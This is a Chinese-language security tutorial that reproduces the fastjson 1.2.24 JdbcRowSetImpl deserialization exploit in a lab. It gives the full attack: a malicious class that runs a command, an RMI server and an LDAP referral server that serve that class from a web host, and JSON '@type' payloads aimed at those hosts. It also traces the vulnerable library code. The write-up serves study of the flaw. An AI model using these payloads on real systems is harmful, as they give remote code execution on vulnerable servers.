当前位置:   article > 正文

14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析_jdbcrowsetimpt反序列化分解

jdbcrowsetimpt反序列化分解

fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有一个JdbcRowSetImpl利用链,JdbcRowSetImpl链有两种利用方式:一种是RMI和JNDI利用方式,另一种是JNDI和LDAP利用方式,关于JNDI的相关概念之前在java安全基础中已经介绍过了,而且底层原理已经分析过了,大家可自行参考以下文章。

4-java安全基础——RMI远程调用

5-java安全基础——RMI和JNDI实现漏洞利用

6-java安全基础——JNDI和LDAP利用

1. RMI和JNDI利用方式

漏洞复现环境:

jdk7u80

fastjson1.2.24

RMI和JNDI利用方式对于jdk版本的限制比较大:JDK的版本必须低于这几个版本:6u141、7u131、8u121,本次漏洞复现使用的是jdk7u80版本

首先是基于JNDI和RMI的JdbcRowSetImpl利用链,新建一个maven项目,在pom.xml文件中引入fastjson1.2.24版本的依赖

  1. <dependencies>
  2. <dependency>
  3. <groupId>com.alibaba</groupId>
  4. <artifactId>fastjson</artifactId>
  5. <version>1.2.24</version>
  6. </dependency>
  7. </dependencies>

在此之前我们先回顾一下JNDI注入

  1. public class JndiTest {
  2. public static void main(String[] args) throws NamingException {
  3. //指定RMI服务资源的标识
  4. String jndi_uri = "rmi://127.0.0.1:10086/test";
  5. //构建jndi上下文环境
  6. InitialContext initialContext = new InitialContext();
  7. //查找标识关联的RMI服务
  8. initialContext.lookup(jndi_uri);
  9. }
  10. }

在这个示例程序中,如果RMI客户端中调用lookup函数指定RMI服务的jndi_uri变量可控的话,攻击者就可以通过篡改RMI客户端中jndi_uri变量的值,从而把RMI客户端导向到其他地方并加载一个恶意类Exp就可以造成命令执行,这样客户端就有可能被攻击。

先构造一个恶意类Exp

  1. package com.test;
  2. import java.io.IOException;
  3. public class Exp{
  4. static {
  5. try {
  6. Runtime.getRuntime().exec("calc");
  7. } catch (IOException e) {
  8. e.printStackTrace();
  9. }
  10. }
  11. }

构造一个RMI服务端,将RMI客户端导向该处,加载恶意类Exp

  1. package com.test;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.NamingException;
  4. import javax.naming.Reference;
  5. import java.rmi.AlreadyBoundException;
  6. import java.rmi.RemoteException;
  7. import java.rmi.registry.LocateRegistry;
  8. import java.rmi.registry.Registry;
  9. /*
  10. 基于RMI和JNDI利用方式:fastjson反序列化JdbcRowSetImpl利用链分析
  11. */
  12. public class RMIServer {
  13. public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
  14. //标识符
  15. String jndi_uri = "http://192.168.0.35:8081/";
  16. //注册中心
  17. Registry registry = LocateRegistry.createRegistry(10086);
  18. //标识符与与恶意对象关联
  19. Reference reference = new Reference("Exp", "Exp", jndi_uri);
  20. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  21. //将名称与恶意对象实体进行绑定注册
  22. registry.bind("Exp",referenceWrapper);
  23. System.out.println("RMI服务端已启动......");
  24. }
  25. }

RMI客户端

  1. package com.test;
  2. import com.alibaba.fastjson.JSON;
  3. /*
  4. 基于RMI和JNDI利用方式:fastjson反序列化JdbcRowSetImpl利用链分析
  5. */
  6. public class RMIClient {
  7. public static void main(String[] argv){
  8. String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.0.35:10086/Exp\", \"autoCommit\":true}";
  9. JSON.parse(payload);
  10. }
  11. }

RMI客户端通过fastjson反序列化了一个com.sun.rowset.JdbcRowSetImpl类,该类在反序列化过程中会调用lookup方法发送一个RMI请求(rmi://127.0.0.1:10086/Exp)获取Exp类并加载,当RMI客户端加载Exp类就会执行命令调出计算器。

先启动RMI服务端,再启动RMI客户端,我们从web服务器中可以看到RMI客户端确实从web服务器上获取了恶意类Exp

RMIClient和RMIServer通信过程如下:

我们可以把客户端和服务端的通信过程总共分为6部分:

第一部分表示RMIClient和RMIServer建立RMI通信的过程(即tcp三次握手)

第二部分为RMIClient和RMIServer之间正式通信过程

第三部分表示RMIClient和web服务器建立通信过程(也是tcp三次握手)

第四部部分表示RMIClient和web服务器之间正式通信过程,RMIClient会从web服务器中获取恶意类Exp到本地并加载

第五部分为RMIClient和web服务器之间的tcp链接关闭

第六部分为RMIClient和RMIServer之间的RMI通信的tcp链接关闭,由于这里我强制把RMIClient程序停止了,客户端会发送一个RST段重置TCP连接

具体的通信过程我们不再深入分析,大家可以参考开头的几篇文章。

接下来我们继续分析一下JdbcRowSetImpl利用链是如何触发漏洞的,通过RMIClient中的payload我们知道fastjson在解析json数据反序列化时会调用对象的setter方法设置属性的值,换句话说,fastjson对JdbcRowSetImpl类反序列化时会调用dataSourceName属性的setter方法。

  1. public void setDataSourceName(String var1) throws SQLException {
  2. //判断属性的值是否为null
  3. if (this.getDataSourceName() != null) {
  4. if (!this.getDataSourceName().equals(var1)) {
  5. String var2 = this.getDataSourceName();
  6. super.setDataSourceName(var1);
  7. this.conn = null;
  8. this.ps = null;
  9. this.rs = null;
  10. this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
  11. }
  12. } else {
  13. //如果为null设置属性的值
  14. super.setDataSourceName(var1);
  15. //设置属性dataSourceName
  16. this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
  17. }
  18. }

JdbcRowSetImpl类首先会调用getDataSourceName判断属性的值是否为null,如果为null则调用父类的setDataSourceName方法设置值,var1变量的值就是rmi://192.168.0.35:10086/Exp

JdbcRowSetImpl的父类BaseRowSet的setDataSourceName方法

  1. public void setDataSourceName(String name) throws SQLException {
  2. if (name == null) {
  3. dataSource = null;
  4. } else if (name.equals("")) {
  5. throw new SQLException("DataSource name cannot be empty string");
  6. } else {
  7. dataSource = name;
  8. }
  9. URL = null;
  10. }

setDataSourceName方法会对name参数进行为null或为空字符串的校验,然后设置dataSource 属性的值为rmi://192.168.0.35:10086/Exp

然后JdbcRowSetImpl类调用了firePropertyChange方法将dataSourceName封装到了一个PropertyChangeEvent对象中。

  1. public void firePropertyChange(String propertyName, Object oldValue, Object newValue) {
  2. if (oldValue == null || newValue == null || !oldValue.equals(newValue)) {
  3. firePropertyChange(new PropertyChangeEvent(this.source, propertyName, oldValue, newValue));
  4. }
  5. }

我们继续跟踪PropertyChangeEvent的构造,可以看到dataSourceName封装到了PropertyChangeEvent中的propertyName属性中,newValue中存储的就是dataSourceName的值。

为什么要将dataSourceName属性的值设置为rmi://192.168.0.35:10086/Exp?因为JdbcRowSetImpl类调用了一个connect方法获取数据库连接池

  1. protected Connection connect() throws SQLException {
  2. if (this.conn != null) {
  3. return this.conn;
  4. } else if (this.getDataSourceName() != null) {
  5. try {
  6. InitialContext var1 = new InitialContext();
  7. //调用了lookup方法获取数据库连接
  8. DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
  9. return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
  10. } catch (NamingException var3) {
  11. throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
  12. }
  13. } else {
  14. return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
  15. }
  16. }

connect方法内部实际上是调用了一个lookup方法通过RMI方式获取数据库连接池,lookup方法中的参数实际上是调用了父类的getDataSourceName方法返回数据库连接池的rmi标识,由于我们数据库连接池的rmi标识篡改成了恶意类,因此lookup方法会从rmi标识中获取RMI服务指定的恶意类Exp并加载,当lookup方法内部加载Exp类就会触发漏洞。

getDataSourceName方法是从dataSource属性获取的RMI的标识,而dataSource属性的值中正好是通过BaseRowSet类的setDataSourceName方法设置的

然后lookup方法内部经过一系列的调用,最终在decodeObject方法内部调用了一个getObjectInstance方法实例化Exp类时会执行命令调出计算器,并且这还会抛出NamingException异常,具体的分析过程大家可参考开头提供的几篇文章,这里不再赘述。

2. JNDI和LDAP利用方式

在实际的场景中对于RMI和JNDI利用方式的限制比较大,而JNDI和LDAP利用方式对于JDK版本的限制就没有那么大了。

JNDI和LDAP利用的JDK版本:6u211、7u201、8u191

漏洞复现环境:

jdk7u80

LDAP客户端,192.168.0.60(win7)

LDAP服务端,192.168.0.35(win10)

在LDAP服务端的maven项目中pom.xml文件引入LDAP服务的相关依赖:

  1. <dependency>
  2. <groupId>commons-codec</groupId>
  3. <artifactId>commons-codec</artifactId>
  4. <version>1.12</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>commons-io</groupId>
  8. <artifactId>commons-io</artifactId>
  9. <version>2.5</version>
  10. </dependency>
  11. <dependency>
  12. <groupId>com.unboundid</groupId>
  13. <artifactId>unboundid-ldapsdk</artifactId>
  14. <version>4.0.9</version>
  15. <scope>test</scope>
  16. </dependency>

我们来看一下JNDI和LDAP利用方式的代码,首先是LDAP服务端:

  1. package com.test;
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  3. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  4. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  5. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  6. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  7. import com.unboundid.ldap.sdk.Entry;
  8. import com.unboundid.ldap.sdk.LDAPException;
  9. import com.unboundid.ldap.sdk.LDAPResult;
  10. import com.unboundid.ldap.sdk.ResultCode;
  11. import javax.net.ServerSocketFactory;
  12. import javax.net.SocketFactory;
  13. import javax.net.ssl.SSLSocketFactory;
  14. import java.net.InetAddress;
  15. import java.net.MalformedURLException;
  16. import java.net.URL;
  17. /**
  18. * @auther songly_
  19. * @data 2021/9/1 9:43
  20. */
  21. /*
  22. 基于JNDI和LDAP利用方式:fastjson反序列化JdbcRowSetImpl利用链分析
  23. */
  24. public class LDAPServer {
  25. private static final String LDAP_BASE = "dc=example,dc=com";
  26. public static void main(String[] argsx) {
  27. String[] args = new String[]{"http://192.168.0.35:8081/#Exp", "10086"};
  28. int port = 0;
  29. if (args.length < 1 || args[0].indexOf('#') < 0) {
  30. System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
  31. System.exit(-1);
  32. } else if (args.length > 1) {
  33. port = Integer.parseInt(args[1]);
  34. }
  35. try {
  36. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  37. config.setListenerConfigs(new InMemoryListenerConfig(
  38. "listen", //$NON-NLS-1$
  39. InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
  40. port,
  41. ServerSocketFactory.getDefault(),
  42. SocketFactory.getDefault(),
  43. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  44. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
  45. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  46. System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
  47. ds.startListening();
  48. } catch (Exception e) {
  49. e.printStackTrace();
  50. }
  51. }
  52. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  53. private URL codebase;
  54. public OperationInterceptor(URL cb) {
  55. this.codebase = cb;
  56. }
  57. @Override
  58. public void processSearchResult(InMemoryInterceptedSearchResult result) {
  59. String base = result.getRequest().getBaseDN();
  60. Entry e = new Entry(base);
  61. try {
  62. sendResult(result, base, e);
  63. } catch (Exception e1) {
  64. e1.printStackTrace();
  65. }
  66. }
  67. protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
  68. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  69. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  70. e.addAttribute("javaClassName", "foo");
  71. String cbstring = this.codebase.toString();
  72. int refPos = cbstring.indexOf('#');
  73. if (refPos > 0) {
  74. cbstring = cbstring.substring(0, refPos);
  75. }
  76. e.addAttribute("javaCodeBase", cbstring);
  77. e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
  78. e.addAttribute("javaFactory", this.codebase.getRef());
  79. result.sendSearchEntry(e);
  80. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  81. }
  82. }
  83. }

LDAP客户端:

  1. package com.test;
  2. import com.alibaba.fastjson.JSON;
  3. /**
  4. * @auther songly_
  5. * @data 2021/9/1 9:51
  6. */
  7. /*
  8. 基于JNDI和LDAP利用方式:fastjson反序列化JdbcRowSetImpl利用链分析
  9. */
  10. public class LDAPClient {
  11. public static void main(String[] argv){
  12. String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:10086/Exp\", \"autoCommit\":true}";
  13. JSON.parse(payload);
  14. }
  15. }

LDAPClient中基本没什么变化,不过是把rmi改成ldap服务。

LDAP客户端和LDAP服务端通信如下:

客户端会从web服务器下载恶意类Exp到本地并加载,关于通信过程可以参考RMI和JNDI利用方式,流程基本上差不多。

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号